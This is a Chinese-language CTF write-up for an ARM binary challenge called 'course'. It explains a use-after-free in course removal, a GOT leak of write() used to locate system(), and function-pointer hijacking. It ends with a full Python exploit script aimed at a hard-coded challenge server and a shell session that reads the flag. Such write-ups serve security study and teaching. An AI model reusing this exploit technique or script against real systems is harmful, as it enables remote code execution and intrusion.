ARM 架構 ELF,還好前幾次 CTF 看了不少 ARM,這次的 "解锁密码" 這題多少也幫忙複習了一下,理解代碼上還算容易。我們一開始先試著弄清 course data 的 36 bytes 結構。其中 "prerequisite Course" 這點很有趣,我們注意到在 list 這個操作中,prerequisite 會包含 course name 和 instructor。這表示在 list 這個操作顯示一門課程時,會需要參考到預備課程中的資料。進一步研究,我們發現它會呼叫預備課程 (x) 上的一個函式指針 (x+0x8),正常情況下它指向 0x8878,一個印出像是 "BATT-1 a instructed by xxx" 這個字樣的函式。
但我們發現,在 remove 課程後,並沒有清除指向該課程 (x) 的指針。雖然在呼叫 (x+0x8) 時會先檢查 x[0:4] 的值是否為 0x13373713,但這個其實我們也可以控制。在被釋放後,malloc() 會重新使用同樣大小 (或同一個 chunk) 的 memory,當我們再新增一門課程時,最先建立的是用來存放 course name 的區塊。只要把 name 的長度也設為 36 byte,便會覆蓋到原本被移除的課程上。當 list 再次呼叫 (x+0x8) 時,我們就掌握了控制權。
由於 stack 無法執行,需要定位 system() 的位址。在這裡我們使用原本用來印出預備課程資訊的 0x8878,但把原先指向課程名的 (x+0xc) 改為 .got 段上 write() 的欄位。這樣我們可以讀出 write() 在 libc.so 裡的位址,加上本地計算出的偏移量就可以得到 system() 的位址了。有了 system() 後,我們直接讓指針 (x+0x8) 指向 system(),但這時被傳入的參數是結構 (x) 本身,無法控制。因此我們把結構填滿非 0 值,並用 ';' 隔斷真正需要的指令,system() 會多報幾個 command not found 但還是能得到結果。
import socket
import time
import struct
import re
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,6)
s.connect(('218.2.197.248',4321))
m = b'\x13\x37\x37\x13bbbb\x79\x88\x00\x00\x3c\x11\x01\x00\x3c\x11\x01\x00'
s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'a\n1\n1\n1\n1\n1\n')
s.send(b'r\n1\n')
s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
s.send(b'c\n')
time.sleep(0.5)
buf = s.recv(65536)
a, = struct.unpack('I',buf.split(b'Prerequisite: BATT-0 ')[1][:4])
x = a - 0x896a0 + 0x2ea39
print('write() address = '+hex(a))
print('system() address = '+hex(x))
for i in range(3,100,2):
cmd = ';'+raw_input('$ ')+';'
m = b'\x13\x37\x37\x13bbbb' + struct.pack('I',x) + cmd
s.send(b'a\n1\n1\n1\n1\n%d\n'%i)
s.send(b'a\n1\n1\n1\n1\n%d\n'%(i+1))
s.send(b'r\n%d\n'%(i+1))
s.send(b'a\n36\n' + m + b'\n36\nbbbbbbb\n2\n')
s.send(b'c\n')
time.sleep(0.5)
buf = s.recv(65536)
print re.findall('not found\n(.*)\nBATT',buf,re.DOTALL)[0]
執行代碼,得到 shell:
$ python course.py
write() address = 0xb6ef76a0
system() address = 0xb6e9ca39
# ls /home
course
# ls /home/course
course
flag
# cat home/course/flag
BCTF{Y0u_4R3_b3Tt3r_tH4n_MiTnIcK}
#